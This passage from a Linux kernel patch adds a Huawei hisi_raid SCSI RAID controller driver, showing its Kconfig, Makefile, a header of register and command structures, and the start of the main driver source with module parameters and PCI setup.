mpt3sas/ +obj-$(CONFIG_SCSI_HISI_RAID) += hisi_raid/ obj-$(CONFIG_SCSI_UFSHCD) += ufs/ obj-$(CONFIG_SCSI_ACARD) += atp870u.o obj-$(CONFIG_SCSI_SUNESP) += esp_scsi.o sun_esp.o diff --git a/drivers/scsi/hisi_raid/Kconfig b/drivers/scsi/hisi_raid/Kconfig new file mode 100644 index 000000000000..d402dc45a7c1 --- /dev/null +++ b/drivers/scsi/hisi_raid/Kconfig @@ -0,0 +1,14 @@ +# +# Kernel configuration file for the hisi_raid +# + +config SCSI_HISI_RAID + tristate "Huawei Hisi_Raid Adapter" + depends on PCI && SCSI + select BLK_DEV_BSGLIB + depends on ARM64 || X86_64 + help + This driver supports hisi_raid SPxxx serial RAID controller, which has + PCI Express Gen4 interface with host and supports SAS/SATA HDD/SSD. + To compile this driver as a module, choose M here: the module will + be called hisi_raid. diff --git a/drivers/scsi/hisi_raid/Makefile b/drivers/scsi/hisi_raid/Makefile new file mode 100644 index 000000000000..b71a675f4190 --- /dev/null +++ b/drivers/scsi/hisi_raid/Makefile @@ -0,0 +1,7 @@ +# +# Makefile for the hisi_raid drivers. +# + +obj-$(CONFIG_SCSI_HISI_RAID) += hiraid.o + +hiraid-objs := hiraid_main.o diff --git a/drivers/scsi/hisi_raid/hiraid.h b/drivers/scsi/hisi_raid/hiraid.h new file mode 100644 index 000000000000..1ebc3dd3f2ec --- /dev/null +++ b/drivers/scsi/hisi_raid/hiraid.h @@ -0,0 +1,760 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* Copyright(c) 2022 Huawei Technologies Co., Ltd */ + +#ifndef __HIRAID_H_ +#define __HIRAID_H_ + +#define HIRAID_HDD_PD_QD 64 +#define HIRAID_HDD_VD_QD 256 +#define HIRAID_SSD_PD_QD 64 +#define HIRAID_SSD_VD_QD 256 + +#define BGTASK_TYPE_REBUILD 4 +#define USR_CMD_READ 0xc2 +#define USR_CMD_RDLEN 0x1000 +#define USR_CMD_VDINFO 0x704 +#define USR_CMD_BGTASK 0x504 +#define VDINFO_PARAM_LEN 0x04 + +#define HIRAID_DEFAULT_MAX_CHANNEL 4 +#define HIRAID_DEFAULT_MAX_ID 240 +#define HIRAID_DEFAULT_MAX_LUN_PER_HOST 8 + +#define FUA_MASK 0x08 + +#define HIRAID_IO_SQES 7 +#define HIRAID_IO_CQES 4 +#define PRP_ENTRY_SIZE 8 + +#define EXTRA_POOL_SIZE 256 +#define MAX_EXTRA_POOL_NUM 16 +#define MAX_CMD_PER_DEV 64 +#define MAX_CDB_LEN 16 + +#define HIRAID_AQ_DEPTH 128 +#define HIRAID_ASYN_COMMANDS 16 +#define HIRAID_AQ_BLK_MQ_DEPTH (HIRAID_AQ_DEPTH - HIRAID_ASYN_COMMANDS) +#define HIRAID_AQ_MQ_TAG_DEPTH (HIRAID_AQ_BLK_MQ_DEPTH - 1) + +#define HIRAID_ADMIN_QUEUE_NUM 1 +#define HIRAID_PTHRU_CMDS_PERQ 1 +#define HIRAID_TOTAL_PTCMDS(qn) (HIRAID_PTHRU_CMDS_PERQ * (qn)) + +#define HIRAID_DEV_INFO_ATTR_BOOT(attr) ((attr) & 0x01) +#define HIRAID_DEV_INFO_ATTR_VD(attr) (((attr) & 0x02) == 0x0) +#define HIRAID_DEV_INFO_ATTR_PT(attr) (((attr) & 0x22) == 0x02) +#define HIRAID_DEV_INFO_ATTR_RAWDISK(attr) ((attr) & 0x20) +#define HIRAID_DEV_DISK_TYPE(attr) ((attr) & 0x1e) + +#define HIRAID_DEV_INFO_FLAG_VALID(flag) ((flag) & 0x01) +#define HIRAID_DEV_INFO_FLAG_CHANGE(flag) ((flag) & 0x02) + +#define HIRAID_CAP_MQES(cap) ((cap) & 0xffff) +#define HIRAID_CAP_STRIDE(cap) (((cap) >> 32) & 0xf) +#define HIRAID_CAP_MPSMIN(cap) (((cap) >> 48) & 0xf) +#define HIRAID_CAP_MPSMAX(cap) (((cap) >> 52) & 0xf) +#define HIRAID_CAP_TIMEOUT(cap) (((cap) >> 24) & 0xff) +#define HIRAID_CAP_DMAMASK(cap) (((cap) >> 37) & 0xff) + +#define IO_SQE_SIZE sizeof(struct hiraid_scsi_io_cmd) +#define ADMIN_SQE_SIZE sizeof(struct hiraid_admin_command) +#define SQE_SIZE(qid) (((qid) > 0) ? IO_SQE_SIZE : ADMIN_SQE_SIZE) +#define CQ_SIZE(depth) ((depth) * sizeof(struct hiraid_completion)) +#define SQ_SIZE(qid, depth) ((depth) * SQE_SIZE(qid)) + +#define SENSE_SIZE(depth) ((depth) * SCSI_SENSE_BUFFERSIZE) + +#define IO_6_DEFAULT_TX_LEN 256 + +#define MAX_DEV_ENTRY_PER_PAGE_4K 340 + +#define MAX_REALTIME_BGTASK_NUM 32 + +#define PCI_VENDOR_ID_HUAWEI_LOGIC 0x19E5 +#define HIRAID_SERVER_DEVICE_HBA_DID 0x3858 +#define HIRAID_SERVER_DEVICE_RAID_DID 0x3758 + +enum { + HIRAID_SC_SUCCESS = 0x0, + HIRAID_SC_INVALID_OPCODE = 0x1, + HIRAID_SC_INVALID_FIELD = 0x2, + + HIRAID_SC_ABORT_LIMIT = 0x103, + HIRAID_SC_ABORT_MISSING = 0x104, + HIRAID_SC_ASYNC_LIMIT = 0x105, + + HIRAID_SC_DNR = 0x4000, +}; + +enum { + HIRAID_REG_CAP = 0x0000, + HIRAID_REG_CC = 0x0014, + HIRAID_REG_CSTS = 0x001c, + HIRAID_REG_AQA = 0x0024, + HIRAID_REG_ASQ = 0x0028, + HIRAID_REG_ACQ = 0x0030, + HIRAID_REG_DBS = 0x1000, +}; + +enum { + HIRAID_CC_ENABLE = 1 << 0, + HIRAID_CC_CSS_NVM = 0 << 4, + HIRAID_CC_MPS_SHIFT = 7, + HIRAID_CC_AMS_SHIFT = 11, + HIRAID_CC_SHN_SHIFT = 14, + HIRAID_CC_IOSQES_SHIFT = 16, + HIRAID_CC_IOCQES_SHIFT = 20, + HIRAID_CC_AMS_RR = 0 << HIRAID_CC_AMS_SHIFT, + HIRAID_CC_SHN_NONE = 0 << HIRAID_CC_SHN_SHIFT, + HIRAID_CC_IOSQES = HIRAID_IO_SQES << HIRAID_CC_IOSQES_SHIFT, + HIRAID_CC_IOCQES = HIRAID_IO_CQES << HIRAID_CC_IOCQES_SHIFT, + HIRAID_CC_SHN_NORMAL = 1 << HIRAID_CC_SHN_SHIFT, + HIRAID_CC_SHN_MASK = 3 << HIRAID_CC_SHN_SHIFT, + HIRAID_CSTS_CFS_SHIFT = 1, + HIRAID_CSTS_SHST_SHIFT = 2, + HIRAID_CSTS_PP_SHIFT = 5, + HIRAID_CSTS_RDY = 1 << 0, + HIRAID_CSTS_SHST_CMPLT = 2 << 2, + HIRAID_CSTS_SHST_MASK = 3 << 2, + HIRAID_CSTS_CFS_MASK = 1 << HIRAID_CSTS_CFS_SHIFT, + HIRAID_CSTS_PP_MASK = 1 << HIRAID_CSTS_PP_SHIFT, +}; + +enum { + HIRAID_ADMIN_DELETE_SQ = 0x00, + HIRAID_ADMIN_CREATE_SQ = 0x01, + HIRAID_ADMIN_DELETE_CQ = 0x04, + HIRAID_ADMIN_CREATE_CQ = 0x05, + HIRAID_ADMIN_ABORT_CMD = 0x08, + HIRAID_ADMIN_SET_FEATURES = 0x09, + HIRAID_ADMIN_ASYNC_EVENT = 0x0c, + HIRAID_ADMIN_GET_INFO = 0xc6, + HIRAID_ADMIN_RESET = 0xc8, +}; + +enum { + HIRAID_GET_CTRL_INFO = 0, + HIRAID_GET_DEVLIST_INFO = 1, +}; + +enum hiraid_rst_type { + HIRAID_RESET_TARGET = 0, + HIRAID_RESET_BUS = 1, +}; + +enum { + HIRAID_ASYN_EVENT_ERROR = 0, + HIRAID_ASYN_EVENT_NOTICE = 2, + HIRAID_ASYN_EVENT_VS = 7, +}; + +enum { + HIRAID_ASYN_DEV_CHANGED = 0x00, + HIRAID_ASYN_FW_ACT_START = 0x01, + HIRAID_ASYN_HOST_PROBING = 0x10, +}; + +enum { + HIRAID_ASYN_TIMESYN = 0x00, + HIRAID_ASYN_FW_ACT_FINISH = 0x02, + HIRAID_ASYN_EVENT_MIN = 0x80, + HIRAID_ASYN_EVENT_MAX = 0xff, +}; + +enum { + HIRAID_CMD_WRITE = 0x01, + HIRAID_CMD_READ = 0x02, + + HIRAID_CMD_NONRW_NONE = 0x80, + HIRAID_CMD_NONRW_TODEV = 0x81, + HIRAID_CMD_NONRW_FROMDEV = 0x82, +}; + +enum { + HIRAID_QUEUE_PHYS_CONTIG = (1 << 0), + HIRAID_CQ_IRQ_ENABLED = (1 << 1), + + HIRAID_FEATURE_NUM_QUEUES = 0x07, + HIRAID_FEATURE_ASYNC_EVENT = 0x0b, + HIRAID_FEATURE_TIMESTAMP = 0x0e, +}; + +enum hiraid_dev_state { + DEV_NEW, + DEV_LIVE, + DEV_RESETTING, + DEV_DELETING, + DEV_DEAD, +}; + +enum { + HIRAID_CARD_HBA, + HIRAID_CARD_RAID, +}; + +enum hiraid_cmd_type { + HIRAID_CMD_ADMIN, + HIRAID_CMD_PTHRU, +}; + +enum { + SQE_FLAG_SGL_METABUF = (1 << 6), + SQE_FLAG_SGL_METASEG = (1 << 7), + SQE_FLAG_SGL_ALL = SQE_FLAG_SGL_METABUF | SQE_FLAG_SGL_METASEG, +}; + +enum hiraid_cmd_state { + CMD_IDLE = 0, + CMD_FLIGHT = 1, + CMD_COMPLETE = 2, + CMD_TIMEOUT = 3, + CMD_TMO_COMPLETE = 4, +}; + +enum { + HIRAID_BSG_ADMIN, + HIRAID_BSG_IOPTHRU, +}; + +enum { + HIRAID_SAS_HDD_VD = 0x04, + HIRAID_SATA_HDD_VD = 0x08, + HIRAID_SAS_SSD_VD = 0x0c, + HIRAID_SATA_SSD_VD = 0x10, + HIRAID_NVME_SSD_VD = 0x14, + HIRAID_SAS_HDD_PD = 0x06, + HIRAID_SATA_HDD_PD = 0x0a, + HIRAID_SAS_SSD_PD = 0x0e, + HIRAID_SATA_SSD_PD = 0x12, + HIRAID_NVME_SSD_PD = 0x16, +}; + +enum { + DISPATCH_BY_CPU, + DISPATCH_BY_DISK, +}; + +struct hiraid_completion { + __le32 result; + union { + struct { + __u8 sense_len; + __u8 resv[3]; + }; + __le32 result1; + }; + __le16 sq_head; + __le16 sq_id; + __le16 cmd_id; + __le16 status; +}; + +struct hiraid_ctrl_info { + __le32 nd; + __le16 max_cmds; + __le16 max_channel; + __le32 max_tgt_id; + __le16 max_lun; + __le16 max_num_sge; + __le16 lun_num_boot; + __u8 mdts; + __u8 acl; + __u8 asynevent; + __u8 card_type; + __u8 pt_use_sgl; + __u8 rsvd; + __le32 rtd3e; + __u8 sn[32]; + __u8 fw_version[16]; + __u8 rsvd1[4020]; +}; + +struct hiraid_dev { + struct pci_dev *pdev; + struct device *dev; + struct Scsi_Host *shost; + struct hiraid_queue *queues; + struct dma_pool *prp_page_pool; + struct dma_pool *prp_extra_pool[MAX_EXTRA_POOL_NUM]; + void __iomem *bar; + u32 max_qid; + u32 num_vecs; + u32 queue_count; + u32 ioq_depth; + u32 db_stride; + u32 __iomem *dbs; + struct rw_semaphore dev_rwsem; + int numa_node; + u32 page_size; + u32 ctrl_config; + u32 online_queues; + u64 cap; + u32 scsi_qd; + u32 instance; + struct hiraid_ctrl_info *ctrl_info; + struct hiraid_dev_info *dev_info; + + struct hiraid_cmd *adm_cmds; + struct list_head adm_cmd_list; + spinlock_t adm_cmd_lock; + + struct hiraid_cmd *io_ptcmds; + struct list_head io_pt_list; + spinlock_t io_pt_lock; + + struct work_struct scan_work; + struct work_struct timesyn_work; + struct work_struct reset_work; + struct work_struct fwact_work; + + enum hiraid_dev_state state; + spinlock_t state_lock; + + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + u32 last_qcnt; + u8 hdd_dispatch; + + struct request_queue *bsg_queue; +}; + +struct hiraid_sgl_desc { + __le64 addr; + __le32 length; + __u8 rsvd[3]; + __u8 type; +}; + +union hiraid_data_ptr { + struct { + __le64 prp1; + __le64 prp2; + }; + struct hiraid_sgl_desc sgl; +}; + +struct hiraid_admin_com_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le32 cdw2[4]; + union hiraid_data_ptr dptr; + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; +}; + +struct hiraid_features { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[2]; + union hiraid_data_ptr dptr; + __le32 fid; + __le32 dword11; + __le32 dword12; + __le32 dword13; + __le32 dword14; + __le32 dword15; +}; + +struct hiraid_create_cq { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 cqid; + __le16 qsize; + __le16 cq_flags; + __le16 irq_vector; + __u32 rsvd12[4]; +}; + +struct hiraid_create_sq { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 sqid; + __le16 qsize; + __le16 sq_flags; + __le16 cqid; + __u32 rsvd12[4]; +}; + +struct hiraid_delete_queue { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[9]; + __le16 qid; + __u16 rsvd10; + __u32 rsvd11[5]; +}; + +struct hiraid_get_info { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u32 rsvd2[4]; + union hiraid_data_ptr dptr; + __u8 type; + __u8 rsvd10[3]; + __le32 cdw11; + __u32 rsvd12[4]; +}; + +struct hiraid_usr_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + union { + struct { + __le16 subopcode; + __le16 rsvd1; + } info_0; + __le32 cdw2; + }; + union { + struct { + __le16 data_len; + __le16 param_len; + } info_1; + __le32 cdw3; + }; + __u64 metadata; + union hiraid_data_ptr dptr; + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; +}; + +struct hiraid_abort_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[4]; + __le16 sqid; + __le16 cid; + __u32 rsvd11[5]; +}; + +struct hiraid_reset_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[4]; + __u8 type; + __u8 rsvd10[3]; + __u32 rsvd11[5]; +}; + +struct hiraid_admin_command { + union { + struct hiraid_admin_com_cmd common; + struct hiraid_features features; + struct hiraid_create_cq create_cq; + struct hiraid_create_sq create_sq; + struct hiraid_delete_queue delete_queue; + struct hiraid_get_info get_info; + struct hiraid_abort_cmd abort; + struct hiraid_reset_cmd reset; + struct hiraid_usr_cmd usr_cmd; + }; +}; + +struct hiraid_scsi_io_com_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_len; + __u8 rsvd2; + __le32 cdw3[3]; + union hiraid_data_ptr dptr; + __le32 cdw10[6]; + __u8 cdb[32]; + __le64 sense_addr; + __le32 cdw26[6]; +}; + +struct hiraid_scsi_rw_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_len; + __u8 rsvd2; + __u32 rsvd3[3]; + union hiraid_data_ptr dptr; + __le64 slba; + __le16 nlb; + __le16 control; + __u32 rsvd13[3]; + __u8 cdb[32]; + __le64 sense_addr; + __u32 rsvd26[6]; +}; + +struct hiraid_scsi_nonrw_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_length; + __u8 rsvd2; + __u32 rsvd3[3]; + union hiraid_data_ptr dptr; + __u32 rsvd10[5]; + __le32 buf_len; + __u8 cdb[32]; + __le64 sense_addr; + __u32 rsvd26[6]; +}; + +struct hiraid_scsi_io_cmd { + union { + struct hiraid_scsi_io_com_cmd common; + struct hiraid_scsi_rw_cmd rw; + struct hiraid_scsi_nonrw_cmd nonrw; + }; +}; + +struct hiraid_passthru_common_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd0; + __u32 nsid; + union { + struct { + __u16 subopcode; + __u16 rsvd1; + } info_0; + __u32 cdw2; + }; + union { + struct { + __u16 data_len; + __u16 param_len; + } info_1; + __u32 cdw3; + }; + __u64 metadata; + + __u64 addr; + __u64 prp2; + + __u32 cdw10; + __u32 cdw11; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 cdw15; + __u32 timeout_ms; + __u32 result0; + __u32 result1; +}; + +struct hiraid_passthru_io_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd0; + __u32 nsid; + union { + struct { + __u16 res_sense_len; + __u8 cdb_len; + __u8 rsvd0; + } info_0; + __u32 cdw2; + }; + union { + struct { + __u16 subopcode; + __u16 rsvd1; + } info_1; + __u32 cdw3; + }; + union { + struct { + __u16 rsvd; + __u16 param_len; + } info_2; + __u32 cdw4; + }; + __u32 cdw5; + __u64 addr; + __u64 prp2; + union { + struct { + __u16 eid; + __u16 sid; + } info_3; + __u32 cdw10; + }; + union { + struct { + __u16 did; + __u8 did_flag; + __u8 rsvd2; + } info_4; + __u32 cdw11; + }; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 data_len; + __u32 cdw16; + __u32 cdw17; + __u32 cdw18; + __u32 cdw19; + __u32 cdw20; + __u32 cdw21; + __u32 cdw22; + __u32 cdw23; + __u64 sense_addr; + __u32 cdw26[4]; + __u32 timeout_ms; + __u32 result0; + __u32 result1; +}; + +struct hiraid_bsg_request { + u32 msgcode; + u32 control; + union { + struct hiraid_passthru_common_cmd admcmd; + struct hiraid_passthru_io_cmd pthrucmd; + }; +}; + +struct hiraid_cmd { + u16 qid; + u16 cid; + u32 result0; + u32 result1; + u16 status; + void *priv; + enum hiraid_cmd_state state; + struct completion cmd_done; + struct list_head list; +}; + +struct hiraid_queue { + struct hiraid_dev *hdev; + spinlock_t sq_lock; + + spinlock_t cq_lock ____cacheline_aligned_in_smp; + + void *sq_cmds; + + struct hiraid_completion *cqes; + + dma_addr_t sq_buffer_phy; + dma_addr_t cq_buffer_phy; + u32 __iomem *q_db; + u8 cq_phase; + u8 sqes; + u16 qid; + u16 sq_tail; + u16 cq_head; + u16 last_cq_head; + u16 q_depth; + s16 cq_vector; + atomic_t inflight; + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + struct dma_pool *prp_small_pool; +}; + +struct hiraid_mapmange { + struct hiraid_queue *hiraidq; + enum hiraid_cmd_state state; + u16 cid; + int page_cnt; + u32 sge_cnt; + u32 len; + bool use_sgl; + dma_addr_t first_dma; + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + struct scatterlist *sgl; + void *list[0]; +}; + +struct hiraid_vd_info { + __u8 name[32]; + __le16 id; + __u8 rg_id; + __u8 rg_level; + __u8 sg_num; + __u8 sg_disk_num; + __u8 vd_status; + __u8 vd_type; + __u8 rsvd1[4056]; +}; + +struct bgtask_info { + __u8 type; + __u8 progress; + __u8 rate; + __u8 rsvd0; + __le16 vd_id; + __le16 time_left; + __u8 rsvd1[4]; +}; + +struct hiraid_bgtask { + __u8 sw; + __u8 task_num; + __u8 rsvd[6]; + struct bgtask_info bgtask[MAX_REALTIME_BGTASK_NUM]; +}; + +struct hiraid_dev_info { + __le32 hdid; + __le16 target; + __u8 channel; + __u8 lun; + __u8 attr; + __u8 flag; + __le16 max_io_kb; +}; + +struct hiraid_dev_list { + __le32 dev_num; + __u32 rsvd0[3]; + struct hiraid_dev_info devinfo[MAX_DEV_ENTRY_PER_PAGE_4K]; +}; + +struct hiraid_sdev_hostdata { + u32 hdid; + u16 max_io_kb; + u8 attr; + u8 flag; + u8 rg_id; + u8 hwq; + u16 pend_count; +}; + +#endif + diff --git a/drivers/scsi/hisi_raid/hiraid_main.c b/drivers/scsi/hisi_raid/hiraid_main.c new file mode 100644 index 000000000000..b9ffa642479c --- /dev/null +++ b/drivers/scsi/hisi_raid/hiraid_main.c @@ -0,0 +1,3982 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright(c) 2022 Huawei Technologies Co., Ltd */ + +/* Huawei Raid Series Linux Driver */ + +#define pr_fmt(fmt) "hiraid: " fmt + +#include <linux/sched/signal.h> +#include <linux/version.h> +#include <linux/pci.h> +#include <linux/aer.h> +#include <linux/module.h> +#include <linux/ioport.h> +#include <linux/device.h> +#include <linux/delay.h> +#include <linux/interrupt.h> +#include <linux/cdev.h> +#include <linux/sysfs.h> +#include <linux/gfp.h> +#include <linux/types.h> +#include <linux/ratelimit.h> +#include <linux/once.h> +#include <linux/debugfs.h> +#include <linux/io-64-nonatomic-lo-hi.h> +#include <linux/blkdev.h> +#include <linux/bsg-lib.h> +#include <asm/unaligned.h> +#include <linux/sort.h> +#include <target/target_core_backend.h> + +#include <scsi/scsi.h> +#include <scsi/scsi_cmnd.h> +#include <scsi/scsi_device.h> +#include <scsi/scsi_host.h> +#include <scsi/scsi_transport.h> +#include <scsi/scsi_dbg.h> +#include <scsi/sg.h> + +#include "hiraid.h" + +static u32 admin_tmout = 60; +module_param(admin_tmout, uint, 0644); +MODULE_PARM_DESC(admin_tmout, "admin commands timeout (seconds)"); + +static u32 scmd_tmout_rawdisk = 180; +module_param(scmd_tmout_rawdisk, uint, 0644); +MODULE_PARM_DESC(scmd_tmout_rawdisk, "scsi commands timeout for rawdisk(seconds)"); + +static u32 scmd_tmout_vd = 180; +module_param(scmd_tmout_vd, uint, 0644); +MODULE_PARM_DESC(scmd_tmout_vd, "scsi commands timeout for vd(seconds)"); + +static bool max_io_force; +module_param(max_io_force, bool, 0644); +MODULE_PARM_DESC(max_io_force, "force max_hw_sectors_kb = 1024, default false(performance first)"); + +static bool work_mode; +module_param(work_mode, bool, 0444); +MODULE_PARM_DESC(work_mode, "work mode switch, default false for multi hw queues"); + +#define MAX_IO_QUEUES 128 +#define MIN_IO_QUEUES 1 + +static int ioq_num_set(const char *val, const struct kernel_param *kp) +{ + int n = 0; + int ret; + + ret = kstrtoint(val, 10, &n); + if (ret != 0 || n < MIN_IO_QUEUES || n > MAX_IO_QUEUES) + return -EINVAL; + + return param_set_int(val, kp); +} + +static const struct kernel_param_ops max_hwq_num_ops = { + .set = ioq_num_set, + .get = param_get_uint, +}; + +static u32 max_hwq_num = 128; +module_param_cb(max_hwq_num, &max_hwq_num_ops, &max_hwq_num, 0444); +MODULE_PARM_DESC(max_hwq_num, "max num of hw io queues, should >= 1, default 128"); + +static int io_queue_depth_set(const char *val, const struct kernel_param *kp) +{ + int n = 0; + int ret; + + ret = kstrtoint(val, 10, &n); + if (ret != 0 || n < 2) + return -EINVAL; + + return param_set_int(val, kp); +} + +static const struct kernel_param_ops io_queue_depth_ops = { + .set = io_queue_depth_set, + .get = param_get_uint, +}; + +static u32 io_queue_depth = 1024; +module_param_cb(io_queue_depth, &io_queue_depth_ops, &io_queue_depth, 0644); +MODULE_PARM_DESC(io_queue_depth, "set io queue depth, should >= 2"); + +static u32 log_debug_switch; +module_param(log_debug_switch, uint, 0644); +MODULE_PARM_DESC(log_debug_switch, "set log state, default zero for switch off"); + +static int extra_pool_num_set(const char *val, const struct kernel_param *kp) +{ + u8 n = 0; + int ret; + + ret = kstrtou8(val, 10, &n); + if (ret != 0) + return -EINVAL; + if (n > MAX_EXTRA_POOL_NUM) + n = MAX_EXTRA_POOL_NUM; + if (n < 1) + n = 1; + *((u8 *)kp->arg) = n; + + return 0; +} + +static const struct kernel_param_ops small_pool_num_ops = { + .set = extra_pool_num_set, + .get = param_get_byte, +}; + +/* It was found that the spindlock of a single pool conflicts + * a lot with multiple CPUs.So multiple pools are introduced + * to reduce the conflictions. + */ +static unsigned char extra_pool_num = 4; +module_param_cb(extra_pool_num, &small_pool_num_ops, &extra_pool_num, 0644); +MODULE_PARM_DESC(extra_pool_num, "set prp extra pool num, default 4, MAX 16"); + +static void hiraid_handle_async_notice(struct hiraid_dev *hdev, u32 result); +static void hiraid_handle_async_vs(struct hiraid_dev *hdev, u32 result, u32 result1); + +static struct class *hiraid_class; + +#define HIRAID_CAP_TIMEOUT_UNIT_MS (HZ / 2) + +static struct workqueue_struct *work_queue; + +#define dev_log_dbg(dev, fmt, ...) do { \ + if (unlikely(log_debug_switch)) \ + dev_info(dev, "[%s] " fmt, \ + __func__, ##__VA_ARGS__); \ +} while (0) + +#define HIRAID_DRV_VERSION "1.1.0.0" + +#define ADMIN_TIMEOUT (admin_tmout * HZ) +#define USRCMD_TIMEOUT (180 * HZ) +#define CTL_RST_TIME (600 * HZ) + +#define HIRAID_WAIT_ABNL_CMD_TIMEOUT 6 +#define HIRAID_WAIT_RST_IO_TIMEOUT 10 + +#define HIRAID_DMA_MSK_BIT_MAX 64 + +#define IOQ_PT_DATA_LEN 4096 +#define IOQ_PT_SGL_DATA_LEN (1024 * 1024) + +#define MAX_CAN_QUEUE (4096 - 1) +#define MIN_CAN_QUEUE (1024 - 1) + +enum SENSE_STATE_CODE { + SENSE_STATE_OK = 0, + SENSE_STATE_NEED_CHECK, + SENSE_STATE_ERROR, + SENSE_STATE_EP_PCIE_ERROR, + SENSE_STATE_NAC_DMA_ERROR, + SENSE_STATE_ABORTED, + SENSE_STATE_NEED_RETRY +}; + +enum { + FW_EH_OK = 0, + FW_EH_DEV_NONE = 0x701 +}; + +static const char * const raid_levels[] = {"0", "1", "5", "6", "10", "50", "60", "NA"}; + +static const char * const raid_states[] = { + "NA", "NORMAL", "FAULT", "DEGRADE", "NOT_FORMATTED", "FORMATTING", "SANITIZING", + "INITIALIZING", "INITIALIZE_FAIL", "DELETING", "DELETE_FAIL", "WRITE_PROTECT" +}; + +static int hiraid_remap_bar(struct hiraid_dev *hdev, u32 size) +{ + struct pci_dev *pdev = hdev->pdev; + + if (size > pci_resource_len(pdev, 0)) { + dev_err(hdev->dev, "input size[%u] exceed bar0 length[%llu]\n", + size, pci_resource_len(pdev, 0)); + return -ENOMEM; + } + + if (hdev->bar) + iounmap(hdev->bar); + + hdev->bar = ioremap(pci_resource_start(pdev, 0), size); + if (!hdev->bar) { + dev_err(hdev->dev, "ioremap for bar0 failed\n"); + return -ENOMEM; + } + hdev->dbs = hdev->bar + HIRAID_REG_DBS; + + return 0; +} + +static int hiraid_dev_map(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + int ret; + + ret = pci_request_mem_regions(pdev, "hiraid"); + if (ret) { + dev_err(hdev->dev, "fail to request memory regions\n"); + return ret; + } + + ret = hiraid_remap_bar(hdev, HIRAID_REG_DBS + 4096); + if (ret) { + pci_release_mem_regions(pdev); + return ret; + } + + return 0; +} + +static void hiraid_dev_unmap(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + + if (hdev->bar) { + iounmap(hdev->bar); + hdev->bar = NULL; + } + pci_release_mem_regions(pdev); +} + +static int hiraid_pci_enable(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + int ret = -ENOMEM; + u64 maskbit = HIRAID_DMA_MSK_BIT_MAX; + + if (pci_enable_device_mem(pdev)) { + dev_err(hdev->dev, "enable pci device memory resources failed\n"); + return ret; + } + pci_set_master(pdev); + + if (readl(hdev->bar + HIRAID_REG_CSTS) == U32_MAX) { + ret = -ENODEV; + dev_err(hdev->dev, "read CSTS register failed\n"); + goto disable; + } + + hdev->cap = lo_hi_readq(hdev->bar + HIRAID_REG_CAP); + hdev->ioq_depth = min_t(u32, HIRAID_CAP_MQES(hdev->cap) + 1, io_queue_depth); + hdev->db_stride = 1 << HIRAID_CAP_STRIDE(hdev->cap); + + maskbit = HIRAID_CAP_DMAMASK(hdev->cap); + if (maskbit < 32 || maskbit > HIRAID_DMA_MSK_BIT_MAX) { + dev_err(hdev->dev, "err, dma mask invalid[%llu], set to default\n", maskbit); + maskbit = HIRAID_DMA_MSK_BIT_MAX; + } + + if (dma_set_mask_and_coherent(&pdev->dev, DMA_BIT_MASK(maskbit))) { + if (dma_set_mask_and_coherent(&pdev->dev, DMA_BIT_MASK(32))) { + dev_err(hdev->dev, "set dma mask[32] and coherent failed\n"); + goto disable; + } + dev_info(hdev->dev, "set dma mask[32] success\n"); + } else { + dev_info(hdev->dev, "set dma mask[%llu] success\n", maskbit); + } + + ret = pci_alloc_irq_vectors(pdev, 1, 1, PCI_IRQ_ALL_TYPES); + if (ret < 0) { + dev_err(hdev->dev, "allocate one IRQ for setup admin queue failed\n"); + goto disable; + } + + pci_enable_pcie_error_reporting(pdev); + pci_save_state(pdev); + + return 0; + +disable: + pci_disable_device(pdev); + return ret; +} + + +/* + * It is fact that first prp and last prp may be not full page. + * The size to count total nprps for the io equal to size + page_size, + * it may be a slightly overestimate. + * + * 8B per prp address. It may be there is one prp_list address per page, + * prp_list address does not count in io data prps. So divisor equal to + * PAGE_SIZE - 8, it may be a slightly overestimate. + */ +static int hiraid_prp_pagenum(struct hiraid_dev *hdev) +{ + u32 size = 1U << ((hdev->ctrl_info->mdts) * 1U) << 12; + u32 nprps = DIV_ROUND_UP(size + hdev->page_size, hdev->page_size); + + return DIV_ROUND_UP(PRP_ENTRY_SIZE * nprps, hdev->page_size - PRP_ENTRY_SIZE); +} + +/* + * Calculates the number of pages needed for the SGL segments. For example a 4k + * page can accommodate 256 SGL descriptors. + */ +static int hiraid_sgl_pagenum(struct hiraid_dev *hdev) +{ + u32 nsge = le16_to_cpu(hdev->ctrl_info->max_num_sge); + + return DIV_ROUND_UP(nsge * sizeof(struct hiraid_sgl_desc), hdev->page_size); +} + +static inline void **hiraid_mapbuf_list(struct 